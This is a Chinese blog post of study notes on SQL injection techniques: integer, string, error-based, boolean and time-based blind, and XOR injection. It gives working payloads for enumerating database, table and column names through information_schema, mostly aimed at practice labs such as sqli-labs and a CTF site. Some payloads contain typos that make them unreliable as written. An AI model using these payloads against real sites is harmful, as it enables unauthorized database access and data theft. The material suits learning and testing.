SQL注入基础

SQL注入记录、

基本查看思路;注入模式猜解
1;整数注入
2;字符注入
3;报错注入
4;布尔盲注
5;异或注入

获取过程

注入方式——》字段数——》注入点——》数据库名称——》表名称——》字段名称——》字段数据
最基础的演示;1
or 1=1;之类判断注入方式
order by n(1,2之类的字段数);判断字段数
union select 1,database();这里的database原本是字段2的位置,这里我们直接在这里注入,得到了库的名称
union select 1,group_concat(table_name) information_schema.tables where table _schema=‘xxx’ ;得到表名称
union select 1,group_concat(column_name) information_schema.columns where table _schema=‘xxx’ wheretable_name =‘xxx’
得到了字段名
union select 1,group_concat(字段名) from 表名;得到字段信息

判断注入方式;

这么一个网站www.aaaaa.com/index.php?id=1
1.显错注入的判断方法
首先进行id=1’,就加一个撇,这样是不符合sql语句的语法格式的,所以会报错,也证明该页面存在sql注入
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,)

1,2数字型判断:字符型判断

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id=    x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

相同的道理可以判断是否存在字符型注入,无非是多了表示字符的引号
(字符型的注入在注入的字符两侧会有“”的注释,我们一般会在第一个输入的字符串后面加上一个’ 充当正常输入的字符串,在最后加上 --+或者#直接注释掉。)

则存在数字型Sql注入(这是Sql语法运算符的特点,SQL AND & OR 运算符如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。),否则不一定存在注入。 同理也可以使用or来判断是否存在注入。需要注意的是,我们需要根据注入点的类型来判断是否需要在整个参数中添加注释符或引号。(即数字型注入可以直接输入,而字符型需要加引号)
如果是字符型注入的话,那比如id=1 or 1=1,其实默认的是包括在引号中呈‘ 1 or 1= 1 ’的
2.不显错的判断方法
可利用页面返回时间来判断是否存在注入,如and if(1=0,1, sleep(10)),

可以通过简单输入判断被过滤信息:
输入1,不报错;输入1’,报错;输入1’’,不报错
输入1 and 1=1,返回1 1=1,可知,and被过滤了
(我们判断什么被过滤就是很简单的捉包看返回的输入信息,会在上面的url里面或者我们bp的里面)
输入1 union select,返回1 select,猜测关键词被过滤
过滤符号直接略过,不在回显位置显示
联合查询(就是union)(这个主要就是用来把查询到的数据一起显示的,不过有时候确实不好用)查询回显位置:
字符型;加注释–+ 返回正常

3报错注入

一个报错语句;
select count(*),(concat(floor(rand()2),(select version())))x from users group by x
报错注入的重点其实就是通过虽然是输入错误,但是还能出现正确的信息来达到显示正确的信息,还是在注入点哪里注入正确的信息,具体的报错注入写在小结里面,但是总结很繁杂,没什么用处,就是在报错注入的语句处找到我们想要的注入点然后按原方法注入
1 Union select count(
),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
就比如这个,那个database()哪里就是,要理解报错注入的细枝末节就会很繁琐,而且记不太住

4布尔,时间盲注

SQL盲注注入——布尔型
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
布尔时间盲注,其实就是页面返回方式的不同 ,原本的网页他应该只是会判断我们注入方式是不是正确的,进而返回数值,我们现在可以通过语句来利用判断,而时间型盲注无非就是通过反应的时间不同来判断注入,成功执行的时候回报时间不同
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然如果上面的函数被禁用,也有相应的函数替换

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
http://127.0.0.1/Less-8/?id=1’and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL
报错机制的注入语句)

列如典型payload:
Select1,count(*),concat(0x3a,0x3a,(select
user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;
count(
)计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误

时间型:通过页面沉睡时间判断,
下次
通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据

http://127.0.0.1/Less-9/?id=1’ and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒

id=1’and ascii(substr(database(),1,1))>114#
这条语句直接用来验证ASCII编码上的字符是什么
也可以用length来先猜测长度

id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#
直接在上面这里进行注入获取表名,

盲注;1;猜解数据库表名;1;二分查找
2;字符串截取函数
3;Ascli码对比
2;猜解表的数量;1;count
2;database()
3等量分析法
3;猜解表名的长度;1;substr(查询语句返回表名,1);1字符串截取
2返回表名
2;length(表名);返回的长度
3等量分析法;逐个值去试
4;limit0,1 ;0;从第一条记录开始
;1;显示记录的条数
5;猜测字段名或列名;1 ;information_schema;tables columns
2;查询某个表里里字段数量
3;猜测每个字段的长度;substr,length.limit
4;猜字段名;
6;猜数据

异或注入

当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入
符号”^”

两个条件相同即为假(0),两个条件不同即为真(1)。

null与任何条件(真、假、null)做异或,结果都为null
xor与^区别(基于bugku多次)

^运算符会做位异或运算 如1^2=3
1^2=3
xor做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据
可用于判断过滤
http://120.24.86.145:9004/1ndex.php?id=1’^(length(‘union’)=5)%23
当union被过滤时1^0 输出id=1
回显正常
当union没被过滤时 1 ^ 1 输出 id=0
回显 error

证明异或注入的可行性:
1.输入1’^(1)# 时 两边为真 结果为假 所以页面不会返回
2.输入1’^(0)# 时 两边一假 结果为真 所以页面有返回
接下来用 1’^(length(‘你要测试的字符’)>0)# 就可以判断哪些字符被过滤了

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值